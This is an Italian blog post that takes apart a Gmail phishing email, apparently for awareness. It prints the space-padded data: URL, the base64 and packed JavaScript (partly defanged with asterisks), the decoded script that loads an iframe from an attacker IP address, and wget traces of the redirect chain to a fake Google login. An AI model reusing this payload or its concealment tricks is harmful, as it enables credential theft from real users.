Come funziona un Google Gmail account hacking?

Ultimamente mi hanno segnalato una nuova tecnica di hacking di account Google. Tramite un'email opportunamente forgiata, viene mascherato un finto indirizzo Google, Oggi ho ricevuto anche io una di queste email, che ho analizzato per spiegarvi come fanno a rubarvi i dati d'accesso.

 
Questa nuova tecnica di phishing si basa su una prassi ormai consolidata: far recapitare alla potenziale vittima un messaggio di posta elettronica con un falso contenuto.

Nell'email, dove il mittente è solitamente un amico, viene posto un contenuto considerato sicuro, come il link ad un file su Gdrive.

In questo caso, chi riceve l'email, considerando affidabile il link, clicca sul dato, senza farsi troppe domande:



In realtà l'email è finta e contiene un'immagine che punta a un falso URL, tipicamente qualcosa di molto simile a questo;


data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=


La parte visibile dell'URL è però solo una parte di qualcosa di molto più lungo, perché è seguita da una fila di spazi, impiegati per mascherare il vero cattivo di questa procedura: uno script il cui scopo sarà quello di trarvi in inganno:


data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue                                                                                                           *script src="data:text/html;base64,ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUscil7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXJbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gcltlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCczLjIuOD0iOSBhIGIgYyBkIjtmeyhnKCl7aCAxPTMuMi5pKFwnMVwnKTsxLmo9XCdrL3gtNFwnOzEubD1cJ20gNFwnOzEubj1cJ1wnOzIubyhcJ3BcJylbMF0ucSgxKX0oKSl9cihlKXt9My4yLnMudD0iPDUgdT1cXCJ2Oi8vdy55LnouQS9+Qi9DLUQvNi82L1xcIiBFPVxcIkY6IDA7RzogNyU7SDo3JVxcIj48LzU+IjsnLDQ0LDQ0LCd8bGlua3xkb2N1bWVudHx3aW5kb3d8aWNvbnxpZnJhbWV8anN8MTAwfHRpdGxlfFlvdXxoYXZlfGJlZW58U2lnbmVkfG91dHx8dHJ5fGZ1bmN0aW9ufHZhcnxjcmVhdGVFbGVtZW50fHR5cGV8aW1hZ2V8cmVsfHNob3J0Y3V0fGhyZWZ8Z2V0RWxlbWVudHNCeVRhZ05hbWV8aGVhZHxhcHBlbmRDaGlsZHxjYXRjaHxib2R5fG91dGVySFRNTHxzcmN8aHR0cHwxNDN8fDk1fDMyfDU3fHJheW11c3N8d3B8aW5jbHVkZXN8c3R5bGV8Ym9yZGVyfHdpZHRofGhlaWdodCcuc3BsaXQoJ3wnKSwwLHt9KSk="**/script*


Per chi notasse che lo script non può funzionare, voglio solo avvertire che ho volutamente sostituito alcuni simboli con *, in modo da non esporre direttamente il codice malevolo.

Encoding
La prima tecnica usata per il camuffamento dello script è quella di evitare di renderne palese il codice. Per questo è stato encodato in base64.
Per fortuna è disponibile un decoder online (a questo indirizzo https://www.base64decode.org/ ) che ci permette di arrivare velocemente al sorgente originale;


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.2.8="9 a b c d";f{(g(){h 1=3.2.i(\'1\');1.j=\'k/x-4\';1.l=\'m 4\';1.n=\'\';2.o(\'p\')[0].q(1)}())}r(e){}3.2.s.t="<5 u=\\"v://w.y.z.A/~B/C-D/6/6/\\" E=\\"F: 0;G: 7%;H:7%\\">";',44,44,'|link|document|window|icon|iframe|js|100|title|You|have|been|Signed|out||try|function|var|createElement|type|image|rel|shortcut|href|getElementsByTagName|head|appendChild|catch|body|outerHTML|src|http|143||95|32|57|raymuss|wp|includes|style|border|width|height'.split('|'),0,{}))


Offuscamento
Quello che però otteniamo è uno script che, a sua volta è stato offuscato. Per tornare ai sorgenti originali e' necessario un decode della pagina. Fortunatamente è stato usato un offuscatore offuscatore standard e tornare indietro è un'operazione abbastanza semplice.

Anche in questo caso la rete ci viene in soccorso e possiamo usare un decoder online (disponibile a questo indirizzo http://matthewfl.com/unPacker.html) in grado di deoffuscare il valore e ottenere qualcosa di funzionante:


window.document.title="You have been Signed out";
try
    {
    (function()
        {
        var link=window.document.createElement('link');
        link.type='image/x-icon';
        link.rel='shortcut icon';
        link.href='';
        document.getElementsByTagName('head')[0].appendChild(link)
    }
    ())
}
catch(e)
    {
}
window.document.body.outerHTML="*iframe src=\"http://143.95.32.57/~raymuss/wp-includes/js/js/\" style=\"border: 0;
width: 100%;
height:100%\"**/iframe*";


L'HTML, per come è costruito, obbliga il browser di effettuare il caricamento di un iframe puntato in una cartella di una installazione wordpress, probabilmente precedentemente craccata,

wget
Proviamo allora a prendere il contenuto dell'iframe, utilizzando un wget:


wget http://143.95.32.57/~raymuss/wp-includes/js/js/


otterremo così la seguente pagina:


*!DOCTYPE html*
*html*
*head*
   *!-- HTML meta refresh URL redirection --*
   *meta http-equiv="refresh"
   content="0; url=ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/"*
*/head*
*body*
*/body*
*/html*


la pagina obbliga ad un refresh con cambio di indirizzo, per puntare ad una nuova pagina html e rendere più complicato il tracciamento.

Proviamo quindi a prendere questa pagina col solito


wget http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=


e dopo alcuni rimbalzi di protocollo


wget "http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue="
--22:50:26--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=
           => `ServiceLogin%3fservice=mail&passive=true&rm=false&continue='
Connecting to 143.95.32.57:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/ [following]
--22:50:27--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/
           => `index.html.1'
Reusing existing connection to 143.95.32.57:80.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: 340f4eaef3899ebec7912921896e3f73 [following]
--22:50:28--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/340f4eaef3899ebec7912921896e3f73
           => `340f4eaef3899ebec7912921896e3f73'
Connecting to 143.95.32.57:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/340f4eaef3899ebec7912921896e3f73/ [following]
--22:50:28--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/340f4eaef3899ebec7912921896e3f73/
           => `index.html.1'
Reusing existing connection to 143.95.32.57:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]


arriveremo finalmente all'ultimo contenuto che è effettivamente una pagina HTML, precedentemente offuscata, che visualizza un finto login, in tutto e per tutto, uguale al login proposto da Google:



Ricordiamoci che tutte queste operazioni avvengono tramite un finto URL Google


data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=


infondendo la massima fiducia nelle persone che credono di accedere ad una pagina di login.

Forti di questa fiducia, la pagina va a chiedere riconferma dei dati d'accesso: password, frase di controllo, eventuale cellulare di backup, per poi rimbalzare verso un contenuto coerente col link di partenza.

L'effetto finale è quello di ricevere un link a un contenuto, passare tramite una finta pagina di conferma password, e venire rimbalzati effettivamente su un Gdrive vero con contenuto coerente.
In realtà abbiamo dato le chiavi di casa a uno sconosciuto che ci ringrazierà tutta la vita :)

Conclusioni
Purtroppo le URL presenti all'interno delle email sono sempre più fonte di possibili camuffamenti, poco si può fare se non prestare costante attenzione e abituarsi a dare fiducia zero in quello che clicchiamo. Leggi QUI il post completo